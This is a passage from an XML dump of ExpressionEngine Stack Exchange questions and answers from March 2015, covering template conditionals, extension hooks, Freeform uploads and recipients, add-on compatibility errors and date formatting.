=&amp;gt;  urldecode($post['3DSecureStatus']),&#xA;            'CAVV'              =&amp;gt;  (!empty($post['CAVV'])? urldecode($post['CAVV']): &quot;&quot;),&#xA;            'AddressStatus'     =&amp;gt;  (!empty($post['AddressStatus'])? urldecode($post['AddressStatus']): &quot;&quot;),&#xA;            'PayerStatus'       =&amp;gt;  (!empty($post['PayerStatus'])? urldecode($post['PayerStatus']): &quot;&quot;),&#xA;            'CardType'          =&amp;gt;  urldecode($post['CardType']),&#xA;            'Last4Digits'       =&amp;gt;  urldecode($post['Last4Digits']), &#xA;            'DeclineCode'       =&amp;gt; urldecode($post['DeclineCode']),&#xA;            'ExpiryDate'        =&amp;gt; urldecode($post['ExpiryDate']), &#xA;            'FraudResponse'     =&amp;gt; urldecode($post['fraudResponse']), &#xA;            'BankAuthCode'      =&amp;gt; urldecode($post['BankAuthCode'])&#xA;            );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6059" LastActivityDate="2015-03-02T16:34:40.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30324" PostTypeId="2" ParentId="30195" CreationDate="2015-03-02T16:38:56.230" Score="0" Body="&lt;p&gt;I got to the bottom of this problem - upon updating to the latest cartthrob, I think due to an accidental reversion of extload.php to its previous version (via a GITIGNORE incorrectly referencing the file), I was running an outdated extload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having updated apparently seamlessly, this of course wasn't something I'd looked for, and had actually tried manually uploading the old extload.php to see if this would temporarily patch the error. On updating extload again to the present and correct version, email functionality returned and basket correctly empties again on checkout success response.&lt;/p&gt;&#xA;" OwnerUserId="6059" LastActivityDate="2015-03-02T16:38:56.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30326" PostTypeId="1" AcceptedAnswerId="30349" CreationDate="2015-03-02T21:08:30.590" Score="1" ViewCount="200" Body="&lt;p&gt;this code has worked great for a long time.  I pull entries and use an IF statement around which category they are in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;resources&quot; dynamic=&quot;on&quot; limit=&quot;1&quot;}&#xA;&#xA;    {if &quot;{categories}{category_id}{/categories}” == “44” OR “{categories}{category_id}{/categories}” == “191” } &#xA;    ....&#xA;    {/if}&#xA;&#xA;    {if &quot;{categories}{category_id}{/categories}” == “45”}&#xA;      ....&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All was good until I got an entry with more than one category (84 &amp;amp; 191).  The output is &lt;code&gt;{category_id} = “84191”&lt;/code&gt; which doesn't get caught in my conditional. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don’t want to use the “contains” conditional b/c then an entry with category 84 &amp;amp; 4 would be “844” and would match me looking for category=44.  How do I solve this??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3505" LastEditorUserId="55" LastEditDate="2015-03-02T21:22:52.277" LastActivityDate="2015-03-04T00:13:31.353" Title="Issue using category_id in IF statement when entry has multiple categories" Tags="|categories|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30327" PostTypeId="2" ParentId="30298" CreationDate="2015-03-02T22:20:06.757" Score="0" Body="&lt;p&gt;The hosting company may determine small changes in your .htaccess file.  Some require &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase / &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for example, or something similar.  So that might give us a clue if you can post that. &lt;/p&gt;&#xA;" OwnerUserId="3703" LastActivityDate="2015-03-02T22:20:06.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30328" PostTypeId="1" AcceptedAnswerId="30332" CreationDate="2015-03-02T23:07:10.973" Score="1" ViewCount="48" Body="&lt;p&gt;I'm finding a few add-ons/modules that are loading on every page/template even if they are not being called in that template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the Solspace Favorites module seems to constantly be coming up on every page of the site even though it is only being called with tags and used in only 2 pages/templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that it's also causing increases in memory usage (not crazy amounts but still). Is this normal and is there any way to avoid this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xYOlI.png&quot; alt=&quot;Favorites being called on a page/template that doesn&amp;#39;t use Favorites at all&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="3909" LastActivityDate="2015-03-03T05:50:00.793" Title="Modules/Add-ons loading on all pages" Tags="|solspace|performance|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30329" PostTypeId="2" ParentId="12372" CreationDate="2015-03-03T03:45:50.633" Score="0" Body="&lt;p&gt;Can I just say EE template sync is lacking. The sync manager doesn't tell you which direction the sync will go in. You should be able to manually toggle direction however you want on a case by case basis. Why can I check some boxes and not others, why are some dates red and some green? There should also be a setting that if file is newer, auto sync to db or if db is newer, auto sync to file. And do that on an ongoing basis if configured. That's what I'd expect. The way they have it leaves a lot to the unknown. &lt;/p&gt;&#xA;" OwnerUserId="1734" LastActivityDate="2015-03-03T03:45:50.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30331" PostTypeId="1" CreationDate="2015-03-03T05:34:15.843" Score="0" ViewCount="71" Body="&lt;p&gt;For the purpose of using PHP to automate the creation of custom URLs that will be placed in the Pages Module, I'm first retrieving and decoding the whole block of encoded, serialized data in the exp_sites table and the site_pages column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All is well when fetching the string from the site_pages column and assigning it to a variable like $decode_this_string. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All is again well when I get the list of URLs with PHP like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$site_pages = unserialize(base64_decode($decode_this_string));&#xA;$the_uris = $site_pages[1][&quot;uris&quot;];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I var_dump $the_uris, I get output that looks like this, where I see string length, the page_uri, and the associated entry ID for each. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(236) { [23]=&amp;gt; string(13) &quot;/tools/index/&quot; [36]=&amp;gt; string(8) &quot;/voting/&quot; [48]=&amp;gt; string(13) &quot;/links/index/&quot; [100]=&amp;gt; string(19) &quot;/supporters/thanks/&quot; [119]=&amp;gt; string(15) &quot;/cancel/return/&quot; [222]=&amp;gt; string(10) &quot;/pressroom&quot; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's normal. But what I'd like to do is plunk this into a two-dimensional array where I can manipulate the Pages entries as rows (and can then sort them, search through them, add to them, delete them). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm confused how to break the rows down further. I can loop through them this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php foreach ($the_uris as $uri): ?&amp;gt;&#xA;    echo '&amp;lt;li&amp;gt;' . $uri . '&amp;lt;/li&amp;gt;';&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but this way, all I can seem to output is the page_uri, not the entry associated with the page_uri. This is the output from the code above. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/tools/index&#xA;/voting/&#xA;/links/index&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc. In other words, I don't know how to break the row $uri into its related key and value (or &quot;pair&quot; of entry_id and page_uri, if that's a better way of describing it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this, so I can grab the entry_id along with the page_uri? &lt;/p&gt;&#xA;" OwnerUserId="330" LastActivityDate="2016-06-09T13:30:46.683" Title="Convert a row's site_pages cell (inside exp_sites) into a key-value array" Tags="|ee2|php|database|mysql|pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30332" PostTypeId="2" ParentId="30328" CreationDate="2015-03-03T05:50:00.793" Score="2" Body="&lt;p&gt;At least for Favorites, the add-on uses a hook, &lt;code&gt;channel_entries_tagdata&lt;/code&gt;, which is a hook present in the EE Channel:Entries module. Any add-on that uses this hook will be called when the EE Channel:Entries module is used. This includes when &lt;code&gt;{exp:channel:entries}&lt;/code&gt; is used, but can include other tags where the Channel:Entries library is being used, eg. &lt;code&gt;{exp:favorites:entries}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hooks usually extend a feature in EE. In the case of &lt;code&gt;channel_entries_tagdata&lt;/code&gt;, the hook can be used to modify the Channel:Entries tag data, for example to add additional variables that can be parsed by &lt;code&gt;{exp:channel:entries}&lt;/code&gt;. If you had Matrix or Playa installed, for example, you might also see calls to these modules since they also use this hook, likely to add the ability to parse Matrix/Playa variables (&lt;em&gt;don't take my word for it&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply calling a hook does not add a lot of overhead: a function called by the hook might exit immediately, with no queries or heavy processing happening. Favorites does this: it checks if there's anything related to Favorites with the tag, and if not, exits the function. A look at the Output Profiler should not show Favorites-specific queries if Favorites is not mentioned in your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately there is no way modify this behaviour, since this is how hooks work in EE: EE triggers a hook, looks for all add-ons that use the hook, and runs each add-on function that uses the hook. It's the add-on developer's responsibility to exit early (or use cached data instead of queries/loading librairies) if nothing needs to be done when the function is called. EE's Template Debugger, however, will still log the hook call, even if nothing happens when the hook function is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could disable the extension for an add-on, but then you would lose its functionality when it's needed.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-03-03T05:50:00.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30333" PostTypeId="2" ParentId="30310" CreationDate="2015-03-03T06:54:04.347" Score="0" Body="&lt;p&gt;I've reached similar functionality some time ago using Membrr. DevDemon Subscriptions might also work for this.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-03-03T06:54:04.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30334" PostTypeId="2" ParentId="30261" CreationDate="2015-03-03T10:33:01.133" Score="-1" Body="&lt;p&gt;I not sure why, but i stumbled across 'Enable Strict URLs' in the global template settings, tried setting to 'no' and all the page appears...&lt;/p&gt;&#xA;" OwnerUserId="6087" LastActivityDate="2015-03-03T10:33:01.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30335" PostTypeId="2" ParentId="19953" CreationDate="2015-03-03T11:21:13.763" Score="1" Body="&lt;p&gt;Really good video on using templates in wygwam here &#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=a7zZ7MXX7EM&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow&quot;&gt;How to use the Templates button in Wygwam for ExpressionEngine &lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-03-03T11:21:13.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30336" PostTypeId="1" CreationDate="2015-03-03T12:00:43.403" Score="1" ViewCount="157" Body="&lt;p&gt;When I add an assets field to a Low Variable, it reports that it's added it correctly, however I then get a fatal error whenever I try to load the LV dashboard:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Unable to load the requested file: field/field.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I manually delete the row in the table, LV returns to normal operating status and all is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, if I add an Assets field to a grid Low Variable, I don't get the above fatal error, however I get the following PHP errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Array to string conversion&#xA;Filename: libraries/Core.php&#xA;Line Number: 409&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /home/--REDACTED--/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/EE_Security.php&#xA;Line Number: 88&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /home/--REDACTED--/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/EE_Security.php&#xA;Line Number: 89&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone else seen these problems and is there a hotfix available to resolve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running &lt;code&gt;ExpressionEngine 2.9.2&lt;/code&gt; and &lt;code&gt;Assets 2.5&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets in a channel entry works fine, so the bug seems to be with the compatibility with Low Variables.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE: The second error reported now appears to be happening on ALL assets modal windows within channels &lt;em&gt;and&lt;/em&gt; with Low Variables.&lt;/p&gt;&#xA;" OwnerUserId="18" LastEditorUserId="18" LastEditDate="2015-03-03T15:53:40.757" LastActivityDate="2015-08-31T02:54:05.133" Title="Assets and Low Variables not compatible?" Tags="|assets|pixelandtonic|low-variables|low|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30337" PostTypeId="1" AcceptedAnswerId="30338" CreationDate="2015-03-03T12:31:52.143" Score="2" ViewCount="321" Body="&lt;p&gt;I’ve read a few posts on this, and for the life of me I can’t get this working. I want to intercept a Channel Form submission, and modify the submitted data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m using the ‘entry_submission_ready’ extension hook, which fires fine. I can access the $data array, but I cannot modify an element so that it is saved when the entry is saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m accessing the $data arary by reference ( &amp;amp;$data ), but that doesn’t make any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where an I going wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;/**&#xA; * ExpressionEngine - by EllisLab&#xA; *&#xA; * @package     ExpressionEngine&#xA; * @author      ExpressionEngine Dev Team&#xA; * @copyright   Copyright (c) 2003 - 2011, EllisLab, Inc.&#xA; * @license     http://expressionengine.com/user_guide/license.html&#xA; * @link        http://expressionengine.com&#xA; * @since       Version 2.0&#xA; * @filesource&#xA; */&#xA;&#xA;// ------------------------------------------------------------------------&#xA;&#xA;/**&#xA; * Contact Notify Extension&#xA; *&#xA; * @package     ExpressionEngine&#xA; * @subpackage  Addons&#xA; * @category    Extension&#xA; * @author      James Seavers&#xA; * @link        http://www.symphonyonline.co.uk&#xA; */&#xA;&#xA;class Contact_notify_ext {&#xA;&#xA;    public $settings        = array();&#xA;    public $description     = 'Notifies when an entry is created in contact request channel after changing some data';&#xA;    public $docs_url        = '';&#xA;    public $name            = 'Contact Notify';&#xA;    public $settings_exist  = 'n';&#xA;    public $version         = '1.0';&#xA;&#xA;    private $EE;&#xA;&#xA;    private $recipient = 'me@gmail.com';&#xA;&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     * @param   mixed   Settings array or empty string if none exist.&#xA;     */&#xA;    public function __construct($settings = '')&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;        $this-&amp;gt;settings = $settings;&#xA;    }// ----------------------------------------------------------------------&#xA;&#xA;    /**&#xA;     * Activate Extension&#xA;     *&#xA;     * This function enters the extension into the exp_extensions table&#xA;     *&#xA;     * @see http://codeigniter.com/user_guide/database/index.html for&#xA;     * more information on the db class.&#xA;     *&#xA;     * @return void&#xA;     */&#xA;    public function activate_extension()&#xA;    {&#xA;        // Setup custom settings in this array.&#xA;        $this-&amp;gt;settings = array();&#xA;&#xA;        $data = array(&#xA;            'class'     =&amp;gt; __CLASS__,&#xA;            'method'    =&amp;gt; 'change_data',&#xA;            'hook'      =&amp;gt; 'entry_submission_ready',&#xA;            'settings'  =&amp;gt; serialize($this-&amp;gt;settings),&#xA;            'version'   =&amp;gt; $this-&amp;gt;version,&#xA;            'enabled'   =&amp;gt; 'y'&#xA;        );&#xA;&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('extensions', $data);         &#xA;&#xA;    }   &#xA;&#xA;    // ----------------------------------------------------------------------&#xA;&#xA;    /**&#xA;     * change_data&#xA;     *&#xA;     * @param &#xA;     * @return &#xA;     */&#xA;    public function change_data($meta, &amp;amp;$data, $autosave=false)&#xA;    {&#xA;        $data['field_id_60'] = 'test';&#xA;    }&#xA;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, James&lt;/p&gt;&#xA;" OwnerUserId="1309" LastActivityDate="2015-03-03T12:43:16.997" Title="Unable to modify data with ‘entry_submission_ready’ extension hook" Tags="|extension|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30338" PostTypeId="2" ParentId="30337" CreationDate="2015-03-03T12:43:16.997" Score="2" Body="&lt;p&gt;Passing by reference doesn't work when calling extension hooks in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to alter the field data inside any of the API Channel Entries hooks, you need to change it directly in the API object, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;api_channel_entries-&amp;gt;data['field_id_60'] = 'test';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-03-03T12:43:16.997" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30339" PostTypeId="1" CreationDate="2015-03-03T14:48:29.860" Score="1" ViewCount="304" Body="&lt;p&gt;I'm using Freeform 4.1.8 and EE 2.8.1 . I have a Freeform form with an upload file field.  It's uploading all files ok, except docx .  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked that docx is in the mimes.php file, the upload directory is set to all file types.  I've tried adding in allowed_file_types=&quot;*&quot; to Freeform but it's still not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Freeform code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:freeform:form collection=&quot;applications&quot;&#xA;  return=&quot;careers/apply/thank-you&quot;&#xA;  notify_admin=&quot;yes&quot;&#xA;  admin_notify=&quot;email@address.com&quot;&#xA;  admin_cc_notify=&quot;email@address.com&quot;&#xA;  template=&quot;admin_notify&quot;&#xA;  send_attachment=&quot;yes&quot;&#xA;  file_upload=&quot;uploaded_CVs&quot;&#xA;  allowed_file_types=&quot;*&quot;&#xA;  send_user_email=&quot;no&quot;&#xA;  notify_user=&quot;no&quot;&#xA;  require_captcha=&quot;yes&quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My File upload Field looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {freeform:field:upload_cv show=&quot;1&quot; allowed_file_types=&quot;*&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y2kh4.png&quot; alt=&quot;The error message I&amp;#39;m getting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I set up a Channel Form to see if I could upload docx files through that, and it worked fine.  It looks like it's just Freeform that won't let me upload them.&lt;/p&gt;&#xA;" OwnerUserId="984" LastEditorUserId="984" LastEditDate="2015-03-06T12:30:23.793" LastActivityDate="2015-03-12T16:19:19.367" Title="Freeform - allowed file types" Tags="|solspace-freeform|file-uploads|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30340" PostTypeId="2" ParentId="29027" CreationDate="2015-03-03T16:15:01.220" Score="1" Body="&lt;p&gt;We're just about to a launch a full job portal site for a client that includes Employer access with ability to add/edit jobs, job applicants with ability to upload resume, save jobs to favorites and apply directly to jobs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We used Zoo Visitor for our member management which was beyond easy and then utilized Reefine for the search filters. Freeforms was used for all the forms to communicate and LinkVault for secure handling of all resumes so that they aren't easily accessible via web (all files stored above root).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps...let me know if you have other questions :)&lt;/p&gt;&#xA;" OwnerUserId="3909" LastActivityDate="2015-03-03T16:15:01.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30341" PostTypeId="2" ParentId="30331" CreationDate="2015-03-03T16:18:32.670" Score="0" Body="&lt;p&gt;I figured out the answer just a few minutes after posting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($the_uris as $key =&amp;gt; $val) { ?&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;?php echo &quot;[&quot; . $key . &quot;] =&amp;gt; &quot; . $val; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is great. Now I can just find the page URI through a simple array with an entry ID key, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo 'entry id 36 = ' . $the_uris[36]; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/voting/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="330" LastActivityDate="2015-03-03T16:18:32.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30342" PostTypeId="1" AcceptedAnswerId="30344" CreationDate="2015-03-03T16:21:46.097" Score="1" ViewCount="73" Body="&lt;p&gt;Using the basic channel entries tag, entries made in Feb of 2015 are all showing the same entry date even though they are set to different dates.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;blog-list&quot;&amp;gt;&#xA;    {exp:channel:entries&#xA;        channel=&quot;blog&quot;&#xA;        orderby=&quot;date&quot;&#xA;        sort=&quot;desc&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        show_future_entries=&quot;yes&quot;&#xA;        disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;    }&#xA;&#xA;        &amp;lt;li&amp;gt;&#xA;&#xA;                &amp;lt;h4&amp;gt;{entry_date format=&quot;%F %n, %Y&quot;}&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;/li&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am running EE 2.8.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2015-03-03T16:30:09.783" Title="Incorrect Entry Date" Tags="|entry-date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30343" PostTypeId="1" CreationDate="2015-03-03T16:25:22.240" Score="2" ViewCount="322" Body="&lt;p&gt;I'm using the recipients=&quot;yes&quot; option in my form, and I have a number of recipients specified in the form parameters using the pipe-separated format (eg. recipient1=&quot;somename|somevalue@example.com&quot;). Is there a way to include just the part before the pipe (&quot;somename&quot;) in a notification template? I can add the custom field {recipient_email} but that places both parts into the template, including the email address. I just want the first bit. Possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I'm similarly struggling to find a way to pass the name value of the selected email address to the return (Thank You) page. For example, if the user chooses the second of three email address from the form's select menu and that recipient is specified as recipient2=&quot;Joe Smith|jsmith@example.com&quot; then I want to be able to have a line of the form's Return page that says &quot;You sent this information to Joe Smith&quot;. So far I haven't found a way, even using Stash to save a variable to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have a solution to this?&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2015-03-04T16:57:21.213" LastActivityDate="2017-02-27T12:34:37.770" Title="Using just the name of a Freeform recipient in a notification template" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30344" PostTypeId="2" ParentId="30342" CreationDate="2015-03-03T16:30:09.783" Score="3" Body="&lt;p&gt;Your date format is incorrect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please check &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your format there provides (%F, long month) Feburary (%n, month without leading zeros) 2 (%Y, four digit year) 2015. So yes, February is always the 2nd month, and the year isn't going to change during that month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you want &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h4&amp;gt;{entry_date format=&quot;%F %d, %Y&quot;}&amp;lt;/h4&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on that line.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-03-03T16:30:09.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30345" PostTypeId="2" ParentId="30336" CreationDate="2015-03-03T19:39:23.477" Score="1" Body="&lt;p&gt;Appears the problem was a conflict with another custom add-on that was installed. I've disabled it for the time being and I'll review the source code to fix at a later date.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2015-03-03T19:39:23.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30347" PostTypeId="2" ParentId="30343" CreationDate="2015-03-03T21:11:54.820" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#freeform_recipient_name1&quot; rel=&quot;nofollow&quot;&gt;the documentation&lt;/a&gt; it looks like to get just the email you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:recipient_value1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to get just the name you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:recipient_name1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="210" LastActivityDate="2015-03-03T21:11:54.820" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30348" PostTypeId="2" ParentId="30339" CreationDate="2015-03-03T21:16:59.153" Score="1" Body="&lt;p&gt;Freeform 4.2.1 and 4.2.2 brought a number of bug fixes for upload handling (some reported by me).  See &lt;a href=&quot;http://www.solspace.com/docs/freeform/change_log/&quot; rel=&quot;nofollow&quot;&gt;the change log&lt;/a&gt; for details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not certain what you are seeing is a FreeForm bug but I would definitely recommend updating before going too deep into troubleshooting.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2015-03-03T21:16:59.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30349" PostTypeId="2" ParentId="30326" CreationDate="2015-03-04T00:13:31.353" Score="1" Body="&lt;p&gt;To prevent your issue with 84 &amp;amp; 4 occurring, you could use code like this, where you surround the category IDs with something to make them separate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;resources&quot; dynamic=&quot;on&quot; limit=&quot;1&quot;}&#xA;&#xA;    {if &quot;{categories}({category_id}){/categories}&quot; *= &quot;(44)&quot; OR &quot;{categories}({category_id}){/categories}&quot; == &quot;191&quot; } &#xA;    ....&#xA;    {/if}&#xA;&#xA;    {if &quot;{categories}({category_id}){/categories}&quot; *= &quot;(45)&quot;}&#xA;    ....&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Depending on your use case, it might be better written as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;resources&quot; dynamic=&quot;on&quot; limit=&quot;1&quot;}&#xA;    {categories}&#xA;        {if &quot;{category_id}&quot; == &quot;44&quot; OR &quot;{category_id}&quot; == &quot;191&quot; }&#xA;        ....&#xA;        {/if}&#xA;&#xA;        {if &quot;{category_id}&quot; == &quot;45&quot;}&#xA;        ....&#xA;        {/if}&#xA;    {/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though then you'd get output twice if your entry was in both categories 44 and 191.&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2015-03-04T00:13:31.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
